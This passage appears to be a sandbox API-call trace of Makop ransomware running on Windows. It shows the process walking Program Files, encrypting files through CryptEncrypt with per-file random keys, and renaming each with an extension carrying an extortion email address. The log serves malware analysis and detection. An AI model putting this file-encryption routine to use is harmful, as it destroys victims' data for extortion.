(lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0103.797] GetProcessHeap () returned 0x48a0000 [0103.797] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.797] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.797] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0103.798] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0103.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0103.803] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.803] GetProcessHeap () returned 0x48a0000 [0103.803] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0103.803] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0103.803] CryptDestroyKey (hKey=0x48c7128) returned 1 [0103.803] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0103.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0103.804] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0103.804] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0103.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0103.804] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0103.804] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0103.804] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.805] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30a18, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30a18, lpOverlapped=0x0) returned 1 [0103.809] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30a20, dwBufLen=0x30a20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30a20) returned 1 [0103.811] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.811] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30a20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30a20, lpOverlapped=0x0) returned 1 [0103.813] CryptDestroyKey (hKey=0x48c7128) returned 1 [0103.813] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x30af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.813] SetEndOfFile (hFile=0xf0) returned 1 [0103.823] GetProcessHeap () returned 0x48a0000 [0103.823] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0103.823] GetProcessHeap () returned 0x48a0000 [0103.823] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.823] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 103 [0103.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.824] CloseHandle (hObject=0xf0) returned 1 [0103.824] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0103.824] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0103.825] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0103.825] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 46 [0103.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.825] GetLastError () returned 0x5 [0103.825] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0103.825] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 49 [0103.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.826] GetLastError () returned 0x5 [0103.826] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0103.826] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0103.826] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0103.826] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0103.826] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0103.827] wsprintfW (in: param_1=0x657d4f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\desktop.ini") returned 28 [0103.827] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0103.827] GetProcessHeap () returned 0x48a0000 [0103.827] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.827] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.827] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca48 | out: lpNewFilePointer=0x0) returned 1 [0103.827] WriteFile (in: hFile=0x120, lpBuffer=0x657ca58*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca58*, lpNumberOfBytesWritten=0x657ca28*=0x2, lpOverlapped=0x0) returned 1 [0103.830] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7068) returned 1 [0103.830] CryptSetKeyParam (hKey=0x48c7068, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.830] GetProcessHeap () returned 0x48a0000 [0103.830] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0103.830] CryptEncrypt (in: hKey=0x48c7068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657ca10*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657ca10*=0x40) returned 1 [0103.830] CryptDestroyKey (hKey=0x48c7068) returned 1 [0103.830] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657ca28*=0x40, lpOverlapped=0x0) returned 1 [0103.831] WriteFile (in: hFile=0x120, lpBuffer=0x657ca30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca30*, lpNumberOfBytesWritten=0x657ca28*=0x4, lpOverlapped=0x0) returned 1 [0103.831] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657ca28*=0x10, lpOverlapped=0x0) returned 1 [0103.831] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657ca28*=0x80, lpOverlapped=0x0) returned 1 [0103.831] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca50 | out: lpNewFilePointer=0x0) returned 1 [0103.831] WriteFile (in: hFile=0x120, lpBuffer=0x657ca40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca40*, lpNumberOfBytesWritten=0x657ca28*=0x8, lpOverlapped=0x0) returned 1 [0103.832] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7068) returned 1 [0103.832] CryptSetKeyParam (hKey=0x48c7068, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.832] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.832] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x657ca34, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657ca34*=0xae, lpOverlapped=0x0) returned 1 [0103.832] CryptEncrypt (in: hKey=0x48c7068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657ca10*=0xb0, dwBufLen=0xb0 | out: pbData=0x6370020*, pdwDataLen=0x657ca10*=0xb0) returned 1 [0103.832] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.832] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657ca28*=0xb0, lpOverlapped=0x0) returned 1 [0103.832] CryptDestroyKey (hKey=0x48c7068) returned 1 [0103.832] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.832] SetEndOfFile (hFile=0x120) returned 1 [0103.839] GetProcessHeap () returned 0x48a0000 [0103.839] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0103.839] GetProcessHeap () returned 0x48a0000 [0103.839] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.839] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\desktop.ini.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 75 [0103.839] MoveFileW (lpExistingFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), lpNewFileName="C:\\Program Files\\desktop.ini.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\desktop.ini.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.841] CloseHandle (hObject=0x120) returned 1 [0103.841] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda235220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xda235220, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0103.841] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker") returned 26 [0103.841] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\*.*") returned 30 [0103.841] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda235220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xda235220, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0103.842] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda235220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xda235220, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.842] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0103.842] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax") returned 49 [0103.842] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.844] GetLastError () returned 0x5 [0103.844] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0103.844] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\bod_r.TTF") returned 36 [0103.844] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.846] GetLastError () returned 0x5 [0103.846] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0103.846] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\directshowtap.ax") returned 43 [0103.846] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.846] GetLastError () returned 0x5 [0103.846] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0103.847] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0103.847] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\en-US") returned 32 [0103.847] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\en-US\\*.*") returned 36 [0103.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0103.847] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.848] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0103.848] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui") returned 49 [0103.848] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.848] GetLastError () returned 0x5 [0103.848] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0103.848] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned 51 [0103.848] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.853] GetLastError () returned 0x5 [0103.853] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, 